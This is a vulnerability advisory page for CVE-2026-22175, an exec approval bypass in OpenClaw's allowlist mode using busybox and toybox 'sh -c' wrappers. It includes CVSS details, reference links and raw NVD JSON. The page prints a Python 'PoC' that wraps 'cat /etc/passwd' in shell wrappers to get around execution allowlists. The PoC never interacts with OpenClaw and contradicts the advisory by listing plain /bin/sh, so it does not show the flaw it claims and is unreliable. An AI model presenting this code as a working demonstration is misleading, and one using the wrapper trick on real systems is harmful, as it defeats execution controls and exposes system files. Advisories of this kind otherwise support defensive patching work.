Security Vulnerability Report
中文
CVE-2026-22175 CVSS 7.1 HIGH

CVE-2026-22175

Published: 2026-03-18 02:16:22
Last Modified: 2026-03-19 16:06:33

Description

OpenClaw versions prior to 2026.2.23 contain an exec approval bypass vulnerability in allowlist mode where allow-always grants could be circumvented through unrecognized multiplexer shell wrappers like busybox and toybox sh -c commands. Attackers can exploit this by invoking arbitrary payloads under the same multiplexer wrapper to satisfy stored allowlist rules, bypassing intended execution restrictions.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:* - VULNERABLE
OpenClaw < 2026.2.23

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22175 PoC - OpenClaw exec approval bypass # This PoC demonstrates how to bypass OpenClaw's allowlist using shell wrappers import subprocess import os def exploit_openclaw_bypass(target_command): """ Bypass OpenClaw allowlist by using unrecognized multiplexer shell wrappers Prerequisites: - OpenClaw version < 2026.2.23 - User with low privileges on the system - OpenClaw configured in allowlist mode with allow-always grants """ # Method 1: Using busybox to bypass allowlist busybox_path = "/bin/busybox" if os.path.exists(busybox_path): # The actual malicious command wrapped in busybox sh -c malicious_cmd = f"{busybox_path} sh -c '{target_command}'" print(f"[*] Executing via busybox: {malicious_cmd}") result = subprocess.run(malicious_cmd, shell=True, capture_output=True) return result # Method 2: Using toybox to bypass allowlist toybox_path = "/bin/toybox" if os.path.exists(toybox_path): # The actual malicious command wrapped in toybox sh -c malicious_cmd = f"{toybox_path} sh -c '{target_command}'" print(f"[*] Executing via toybox: {malicious_cmd}") result = subprocess.run(malicious_cmd, shell=True, capture_output=True) return result # Method 3: Using any available shell wrapper shell_wrappers = ["/bin/sh", "/bin/bash"] for shell in shell_wrappers: if os.path.exists(shell): # OpenClaw checks the wrapper path, not the actual command malicious_cmd = f"{shell} -c '{target_command}'" print(f"[*] Executing via shell wrapper: {malicious_cmd}") result = subprocess.run(malicious_cmd, shell=True, capture_output=True) return result return None # Example usage if __name__ == "__main__": # Target command that should be blocked by allowlist target = "cat /etc/passwd" exploit_openclaw_bypass(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22175", "sourceIdentifier": "[email protected]", "published": "2026-03-18T02:16:21.733", "lastModified": "2026-03-19T16:06:32.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions prior to 2026.2.23 contain an exec approval bypass vulnerability in allowlist mode where allow-always grants could be circumvented through unrecognized multiplexer shell wrappers like busybox and toybox sh -c commands. Attackers can exploit this by invoking arbitrary payloads under the same multiplexer wrapper to satisfy stored allowlist rules, bypassing intended execution restrictions."}, {"lang": "es", "value": "Versiones de OpenClaw anteriores a 2026.2.23 contienen una vulnerabilidad de omisión de aprobación de ejecución en modo de lista de permitidos donde las concesiones de 'permitir siempre' podrían ser eludidas a través de envoltorios de shell de multiplexor no reconocidos como los comandos 'sh -c' de busybox y toybox. Los atacantes pueden explotar esto invocando cargas útiles arbitrarias bajo el mismo envoltorio de multiplexor para satisfacer las reglas de lista de permitidos almacenadas, omitiendo las restricciones de ejecución previstas."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-184"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.2.23", "matchCriteriaId": "19EDA1E2-F0D6-44F4-A333-C32DCE286DA6"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/a67689a7e3ad494b6637c76235a664322d526f9e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-gwqp-86q6-w47g", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-exec-approval-bypass-via-unrecognized-multiplexer-shell-wrappers", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}